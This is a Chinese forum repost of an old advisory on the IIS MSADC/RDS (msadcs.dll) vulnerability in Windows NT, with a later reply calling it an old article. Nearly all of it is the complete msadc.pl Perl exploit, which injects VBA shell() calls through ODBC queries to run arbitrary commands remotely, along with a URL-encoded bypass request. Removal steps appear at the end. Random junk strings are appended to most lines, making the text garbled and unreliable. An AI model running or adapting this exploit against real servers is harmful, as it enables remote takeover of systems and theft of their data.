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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) mqq;H}  
"(qw-kil  
涉及程序: fABe  
Microsoft NT server Y<0 4RV  
(MHAJ]Rx  
描述: d6i6hcQE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 cWajrLw  
1,5E `J  
详细: h=_mNG>R)  
如果你没有时间读详细内容的话,就删除: @(C1_  
c:\Program Files\Common Files\System\Msadc\msadcs.dll GElvz'S~  
有关的安全问题就没有了。 UU8pz{/  
HK+/:'P u  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 I7^zU3]Ul  
pu,?<@0YK  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 NAPX_B,6  
关于利用ODBC远程漏洞的描述,请参看: :6q]F<oK  
.UoOO'1K  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ZIdA\_c  
fb  da  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 LSQz"Ll l  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp TY(bPq  
r]ShZBAbYp  
这里不再论述。 xJ2*LM-  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: I}2P>)K  
)!tK[K?5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =vT<EW}[  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;E ec5w1  
@* il3h,  
Pl-5ncb\  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  )J?{+3  
0kDK~iT  
#!perl -7!&@wuQ  
# Lr`1TH,  
# MSADC/RDS 'usage' (aka exploit) script DQwGUF'(  
# y$<Vha  
# by rain.forest.puppy ttXjn  
# L,; D@Xi  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me N N|u_  
# beta test and find errors! yPw'] "  
Tlj:%yK2  
use Socket; use Getopt::Std; ^*~;k|;&  
getopts("e:vd:h:XR", \%args); n4lutnF  
|j3'eW&=  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 0j(M* sl  
<5=JE*s$NS  
if (!defined $args{h} && !defined $args{R}) { <)*2LBF@]  
print qq~ *-s,. F+c  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ?|e'Gbb_  
-h <host> = host you want to scan (ip or domain) (Z5##dS3  
-d <seconds> = delay between calls, default 1 second @E.k/G!~Nb  
-X = dump Index Server path table, if available 1 y}2+Kk  
-v = verbose e?bYjJ q  
-e = external dictionary file for step 5 JY!l!xH(6  
, *qCf@$I  
Or a -R will resume a command session +\Q?w?DE|  
m*X[ Jtr  
~; exit;} 'B0{U4?   
|w}xl'>q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _tr<}PnZ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} U}SXJH&&E  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} a(]`F(L  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); L !4t[hhe=  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q!,<@b)  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $;G{Pyp  
/=uMk]h  
if (!defined $args{R}){ $ret = &has_msadc; Vx_rc%'  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} f.GETw  
a{Esw`  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;IK[Y{W/  
. "cmd /c "; Jx#k,Z4  
$in=<STDIN>; chomp $in; v+"rZ  
$command="cmd /c " . $in ; '&;yT[  
aQ j*KMc  
if (defined $args{R}) {&load; exit;} rwIe qV{:  
i* R,QN)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; fri0XxF  
&try_btcustmr; mW%?>Z1=>d  
kj5Q\vr)  
print "\nStep 2: Trying to make our own DSN..."; .lhn;*Yi  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^[Cv26  
w<9>Q1(  
print "\nStep 3: Trying known DSNs..."; 5BR5X\f0  
&known_dsn; juBw5U<  
;d$qc<2uA  
print "\nStep 4: Trying known .mdbs..."; B5X sGLV  
&known_mdb; ~"Gf<3^y+  
d7Ur$K\=y  
if (defined $args{e}){ 1xf=_F0`&  
print "\nStep 5: Trying dictionary of DSN names..."; \n0Oez0z!B  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } A~nf#(!^]  
56hA]O29O  
print "Sorry Charley...maybe next time?\n"; NvjJ b-u  
exit; ?t@v&s  
h;lirvO|  
############################################################################## .ut{,(5  
j<%])  
sub sendraw { # ripped and modded from whisker 2fIRlrA$  
sleep($delay); # it's a DoS on the server! At least on mine... (eCFWmO  
my ($pstr)=@_; ECa$vvK m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9s +z B  
die("Socket problems\n"); hgRVwX  
if(connect(S,pack "SnA4x8",2,80,$target)){ {J/I-=CmML  
select(S); $|=1; zq5'i!s !0  
print $pstr; my @in=<S>; z<gu00U7  
select(STDOUT); close(S);  t4Z  
return @in; mmw^{MK!  
} else { die("Can't connect...\n"); }} Q '(ihUq*k  
+&KQ28r  
############################################################################## bshGS8O  
weMww,:^[  
sub make_header { # make the HTTP request ?j7vZ}iRi  
my $msadc=<<EOT Rd+P,PO  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 +a= 0\lpOy  
User-Agent: ACTIVEDATA #n\C |  
Host: $ip y'ja< 1I>  
Content-Length: $clen wxLXh6|6%_  
Connection: Keep-Alive 6`\]derSon  
y%]8'q$  
ADCClientVersion:01.06 a=GM[{og  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "%8A :^1  
B6Ej{q^k,  
--!ADM!ROX!YOUR!WORLD! ~fz[x9\  
Content-Type: application/x-varg $N$ FtpB  
Content-Length: $reqlen 1-I Swd'u  
*5%*|>  
EOT (\puf+  
; $msadc=~s/\n/\r\n/g; [-*F"}D,  
return $msadc;} ~#:e*:ro  
lhC6S'vq  
############################################################################## .DJDpP)M  
f<y& \'3  
sub make_req { # make the RDS request 'UM!*fk7C  
my ($switch, $p1, $p2)=@_; bAxTLIf  
my $req=""; my $t1, $t2, $query, $dsn; +?RGta'%k  
@E`?<|B}  
if ($switch==1){ # this is the btcustmr.mdb query -jg (GGJ  
$query="Select * from Customers where City=" . make_shell(); /7$mxtB5%L  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 47 u@4"M  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} E(<LvMiCa  
+V v+K(lh$  
elsif ($switch==2){ # this is general make table query z*~YLT&  
$query="create table AZZ (B int, C varchar(10))"; t0PQ~|H<KV  
$dsn="$p1";} NnxM3*  
-7'#2P<)  
elsif ($switch==3){ # this is general exploit table query ;i#LIHJ  
$query="select * from AZZ where C=" . make_shell(); \9)[ #Ld  
$dsn="$p1";} <2  
?BCy J  
elsif ($switch==4){ # attempt to hork file info from index server MBk"KF  
$query="select path from scope()"; #`GbHxd  
$dsn="Provider=MSIDXS;";} }F`beoMAkM  
<l\N|+7R  
elsif ($switch==5){ # bad query [UPNd!sy  
$query="select"; 1TqF6`;+  
$dsn="$p1";} P`s(kIe  
Ri:p8  
$t1= make_unicode($query); %|3e.1oX  
$t2= make_unicode($dsn); }IUP5O6  
$req = "\x02\x00\x03\x00"; <z#BsnjW{  
$req.= "\x08\x00" . pack ("S1", length($t1)); j.-VJo)   
$req.= "\x00\x00" . $t1 ; Rag iV6c  
$req.= "\x08\x00" . pack ("S1", length($t2)); 2?i\@r@E|  
$req.= "\x00\x00" . $t2 ; ZcPUtun  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; g"t^r3  
return $req;} V*B0lI7`B  
4".J/I5u  
############################################################################## $CtCOwKZ  
GCE!$W  
sub make_shell { # this makes the shell() statement ?)A2Kw>2  
return "'|shell(\"$command\")|'";} `]2@ _wa  
d5xxb _oE  
############################################################################## y[HQBv  
*)VAaGUX>  
sub make_unicode { # quick little function to convert to unicode ;?9A(q_Z  
my ($in)=@_; my $out; 7#4%\f+'t  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } "!&B4  
return $out;} ;cSGlE |  
MUof=EJg>u  
############################################################################## +}!DP~y+  
ZW ye> ]  
sub rdo_success { # checks for RDO return success (this is kludge) 2o{@nN8%  
my (@in) = @_; my $base=content_start(@in); %= u/3b:o  
if($in[$base]=~/multipart\/mixed/){ R lg#z4m  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} j)D-BK&+  
return 0;} okBE|g  
gn5% F5W  
############################################################################## oW'PO Ar  
{*=E?oF@  
sub make_dsn { # this makes a DSN for us X7cWgo66T  
my @drives=("c","d","e","f"); *8!w&ME+.  
print "\nMaking DSN: "; [%.18FWI  
foreach $drive (@drives) { G j6. Iv  
print "$drive: "; 2:J,2=%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . nTZ> |R)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" S!j^|!  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); n85r^W  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; RebTg1vGu  
return 0 if $2 eq "404"; # not found/doesn't exist N^$9;CKP=  
if($2 eq "200") { me./o(!?  
foreach $line (@results) { 2,AaP*,  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} sMi{"`37  
} return 0;} $v&C@l \  
|QYZRz  
############################################################################## oa0X5}D  
J/S{FxNe]  
sub verify_exists { ?vu|o'$T,  
my ($page)=@_; ZO7bSxAN-  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Ex,JB +  
return $results[0];} {% F`%_{"  
npj/7nZj  
############################################################################## ##~!M(c  
fNxw&ke8&  
sub try_btcustmr { :HZ;Po   
my @drives=("c","d","e","f"); _'c+fG \  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %8Yyj{^!(  
V<-htV  
foreach $dir (@dirs) { * -z4<LAa  
print "$dir -> "; # fun status so you can see progress 94z8B;+ H]  
foreach $drive (@drives) { q z:]-A  
print "$drive: "; # ditto A7'bNd6f9  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 5^F]tRz-  
$reqlenlen=length( "$reqlen" ); uu3M{*}  
$clen= 206 + $reqlenlen + $reqlen; i`~~+6`J  
+ zDc  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6$z'wy/*  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 4g!7 4a  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} F!R2_89iy  
n#>5?W  
############################################################################## `cO|RhD @  
no3Z\@%  
sub odbc_error { cj^bh  
my (@in)=@_; my $base; &|z|SY]DL  
my $base = content_start(@in); %]GV+!3S  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this e?vj+ZlS$f  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IozNjII$:.  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; thV Tdz  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S>EDL  
return $in[$base+4].$in[$base+5].$in[$base+6];} @Z=wE3T@  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; QRagz, c  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 96)v#B?p  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} >t,O2~  
YE_6OLW  
############################################################################## 1)Eq&ASB  
{_Np<r;j<  
sub verbose { |` v^d|  
my ($in)=@_; \P?--AI q<  
return if !$verbose; @WJf)  
print STDOUT "\n$in\n";} +{0=<2(EC  
a|z1K  
############################################################################## Bn_g-WrT  
9@etg4#]  
sub save { D8 wG!X  
my ($p1, $p2, $p3, $p4)=@_; H` Lu"EK  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; |YXG(;-BS  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [ )k2=67  
close OUT;} `OLB';D  
?Hk.|5A}  
############################################################################## @|'Z@>!/pV  
wNR=?Z~  
sub load { /gX%ABmS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 'F<Sf:?.p  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5E.vje{U;  
@p=<IN>; close(IN); &&*wmnWCS{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); iW-t}}Z>B  
$target= inet_aton($ip) || die("inet_aton problems"); Y)v%  
print "Resuming to $ip ..."; Hq-v@@0 *  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Uk|9@Auav  
if($p[1]==1) { hvL6zCi  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `{WCrw6)  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; b8e*Pv/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); N&,"kRFFo  
if (rdo_success(@results)){print "Success!\n";} _Ua PwJ  
else { print "failed\n"; verbose(odbc_error(@results));}} XJ _%!  
elsif ($p[1]==3){ ZgK@Fl*k  
if(run_query("$p[3]")){ '1lx{U zD  
print "Success!\n";} else { print "failed\n"; }} G-s a L*  
elsif ($p[1]==4){ cY^Y!.,  
if(run_query($drvst . "$p[3]")){ JQr36U  
print "Success!\n"; } else { print "failed\n"; }} ]ci RiMkT(  
exit;} "|\94  
3} l;  
############################################################################## z(r" JNO@  
[@zkv)D6  
sub create_table { )Jmw|B  
my ($in)=@_; ![j(o!6&  
$reqlen=length( make_req(2,$in,"") ) - 28; |:}L<9Sq  
$reqlenlen=length( "$reqlen" ); 0x6@{0  
$clen= 206 + $reqlenlen + $reqlen; }:"R-s  
my @results=sendraw(make_header() . make_req(2,$in,"")); ELD +:b  
return 1 if rdo_success(@results); P0Aas)!  
my $temp= odbc_error(@results); verbose($temp); 83X/"2-K  
return 1 if $temp=~/Table 'AZZ' already exists/; 75PS^5T,  
return 0;} oX2r?.j#M  
)y5iH){ !  
############################################################################## gMCy$+?  
a3*.,%d  
sub known_dsn { _5Bu [I  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go <)"iL4 kDI  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", )~G8 LZ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", NCp%sGBmG  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); x9 TuweG  
cFe V?a  
foreach $dSn (@dsns) { ;,R[]B01u  
print "."; E=3#TBd  
next if (!is_access("DSN=$dSn")); \?[O,A  
if(create_table("DSN=$dSn")){ &(GopWR`e  
print "$dSn successful\n"; YALyZ.d  
if(run_query("DSN=$dSn")){ +)% ,G@-`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Un~]Q?w  
print "Something's borked. Use verbose next time\n";}}} print "\n";} z)r8?9u  
"ngSilH?D  
############################################################################## /Lj%A   
^9n}-Cqeq  
sub is_access { D~XU `;~u  
my ($in)=@_; 7Z9.z 4\  
$reqlen=length( make_req(5,$in,"") ) - 28; "hJ7 Vv_  
$reqlenlen=length( "$reqlen" ); {P,>Q4N  
$clen= 206 + $reqlenlen + $reqlen; aS2a_!f  
my @results=sendraw(make_header() . make_req(5,$in,"")); 8U8P g2  
my $temp= odbc_error(@results); JB641nv  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); L)@`58Eil  
return 0;} iz,]%<_PE  
l A 0-?k  
############################################################################## |)~Ex 9%ev  
RT1{+:l  
sub run_query { [9'|7fdU  
my ($in)=@_; -Cg`x=G;z  
$reqlen=length( make_req(3,$in,"") ) - 28; @263)`9G  
$reqlenlen=length( "$reqlen" ); !^n1  
$clen= 206 + $reqlenlen + $reqlen; eUi> Mp  
my @results=sendraw(make_header() . make_req(3,$in,"")); PV5-^Y"v  
return 1 if rdo_success(@results); &II JKn|_  
my $temp= odbc_error(@results); verbose($temp); D:+)uX}MOf  
return 0;} A&x ab  
tj`tLYOZ@-  
############################################################################## ]:[)KZ~  
i/l!Cr2  
sub known_mdb { -9hp+0 <  
my @drives=("c","d","e","f","g"); &Xj{:s#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5)h+(u C3  
my $dir, $drive, $mdb; \H},ou U  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ee4KMS  
nNkyOaK*4  
# this is sparse, because I don't know of many :Bdipc  
my @sysmdbs=( "\\catroot\\icatalog.mdb", @&/s~3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3U :YA&K(  
"\\system32\\certmdb.mdb", `NYF?%  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7Y$4MMNQ  
u<BHf@AI  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ay!6 T`U`  
"\\cfusion\\cfapps\\forums\\forums_.mdb", =ip~J<sw&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", liBAJx  
"\\cfusion\\cfapps\\security\\realm_.mdb", HQ ELK  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Q"x`+?!  
"\\cfusion\\database\\cfexamples.mdb", v4nv Z6  
"\\cfusion\\database\\cfsnippets.mdb", 0(Yh~{   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", oAIY=z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", *93l${'  
"\\cfusion\\brighttiger\\database\\cleam.mdb", &<\4q  
"\\cfusion\\database\\smpolicy.mdb", IBn'iE[>  
"\\cfusion\\database\cypress.mdb", TyxU6<>4J4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 9;;]q?*  
"\\website\\cgi-win\\dbsample.mdb", ,(1vEE[9-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", My'9S2Y8nv  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ^K1~eb*K  
); #these are just : HQ8M*o  
foreach $drive (@drives) { +H2m<  
foreach $dir (@dirs){ G_4K+ -K  
foreach $mdb (@sysmdbs) { /y+;g{  
print "."; vWPM:1A  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 'Qp&,xK  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -N /8Ho  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Y3 Pz00x  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; OX#eLco  
} else { print "Something's borked. Use verbose next time\n"; }}}}} B;Q`vKY  
Cy`<^_i  
foreach $drive (@drives) { o>/uW8  
foreach $mdb (@mdbs) { VuJfo9 `E  
print "."; Mo:!jS~a(Z  
if(create_table($drv . $drive . $dir . $mdb)){ s K""  
print "\n" . $drive . $dir . $mdb . " successful\n"; 02]8|B(E90  
if(run_query($drv . $drive . $dir . $mdb)){ .P |+oYT&g  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 2fHIk57jP  
} else { print "Something's borked. Use verbose next time\n"; }}}} xr7-[)3Q$  
} 8M".o n  
ue^?/{OuT  
############################################################################## df21t^0/  
~:ub  
sub hork_idx { r-1yJ  
print "\nAttempting to dump Index Server tables...\n"; B^_$ hJncc  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; A$H+4L  
$reqlen=length( make_req(4,"","") ) - 28; vkNZ -`+I  
$reqlenlen=length( "$reqlen" ); IxK 3,@d  
$clen= 206 + $reqlenlen + $reqlen; ZYl-p]\*y  
my @results=sendraw2(make_header() . make_req(4,"","")); !DY2{Wb  
if (rdo_success(@results)){ YKs^%GO+  
my $max=@results; my $c; my %d; }5fI*v  
for($c=19; $c<$max; $c++){ W[jW;uk  
$results[$c]=~s/\x00//g; +Zty}fe  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 4:%El+,_Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ^G7n#  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; )M|O;~q  
$d{"$1$2"}="";} 5sA>O2Rt>  
foreach $c (keys %d){ print "$c\n"; } {3F}Slb  
} else {print "Index server doesn't seem to be installed.\n"; }} Muc*?wB`  
~,`\D7Z3  
############################################################################## YDZ1@N}^B  
L&3Ar'  
sub dsn_dict { !)51v {  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Ue>A  
while(<IN>){ >gS5[`xRE  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;k63RNT,M&  
next if (!is_access("DSN=$dSn")); wFoR,oXtL/  
if(create_table("DSN=$dSn")){ U# FJ8CD&u  
print "$dSn successful\n"; bCY^.S-  
if(run_query("DSN=$dSn")){ q)z1</B-  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { t<EX#_i,  
print "Something's borked. Use verbose next time\n";}}} /FNj|7s  
print "\n"; close(IN);} nfd?@34"A2  
;|2;kvf"w  
############################################################################## +gD)Yd  
.x-Z+Rs{g  
sub sendraw2 { # ripped and modded from whisker q9a wzj  
sleep($delay); # it's a DoS on the server! At least on mine... ~; O= 7  
my ($pstr)=@_; Y+PvL|`O  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?Ss RN jeL  
die("Socket problems\n"); S*DBY~pZy  
if(connect(S,pack "SnA4x8",2,80,$target)){ I;|5C=!  
print "Connected. Getting data"; [u9S+:7"  
open(OUT,">raw.out"); my @in; B#Oc8`1Y  
select(S); $|=1; print $pstr; d@q t%r3;  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 40l#'< y;  
close(OUT); select(STDOUT); close(S); return @in; ^JF_;~C  
} else { die("Can't connect...\n"); }} fi-&[llg  
"#eNFCo7k  
############################################################################## W0uM?J\O  
f'zFg["aZS  
sub content_start { # this will take in the server headers \PtC  
my (@in)=@_; my $c; XR=c 8f  
for ($c=1;$c<500;$c++) { ~:RDw<PWp  
if($in[$c] =~/^\x0d\x0a/){ mG8  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  qzU2H  
else { return $c+1; }}} (1r>50Ge  
return -1;} # it should never get here actually ,[K)E  
n9-q5X^e>  
############################################################################## 2YP"nj#  
@T~#Gwv  
sub funky { oE|{|27X  
my (@in)=@_; my $error=odbc_error(@in); {dSU \':  
if($error=~/ADO could not find the specified provider/){ iR}i42Cu  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; S;AnpiBM8  
exit;} &0<R:K?>N  
if($error=~/A Handler is required/){ XKPt[$ab  
print "\nServer has custom handler filters (they most likely are patched)\n"; A](}"Pi!n  
exit;} ?D$b%G{  
if($error=~/specified Handler has denied Access/){ s%TO(vT  
print "\nServer has custom handler filters (they most likely are patched)\n"; @*`UOgP7  
exit;}} |{|r? 3  
G]3ML)l  
############################################################################## K&a]pL6D  
{]_{BcK+  
sub has_msadc { cI4qgV  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Z=/L6Zb  
my $base=content_start(@results); Drq{)#7  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %RD7=Z-z  
return 0;} BQfAen]  
4`5Qt=}  
######################## E,yzy[gl  
O t4+VbB6  
R;-FZ@u/  
解决方案: IM&7h! l"|  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll '8pPGh9D  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 MVU'GHv  
O}iKPY8K  
拿出来充数 哈哈
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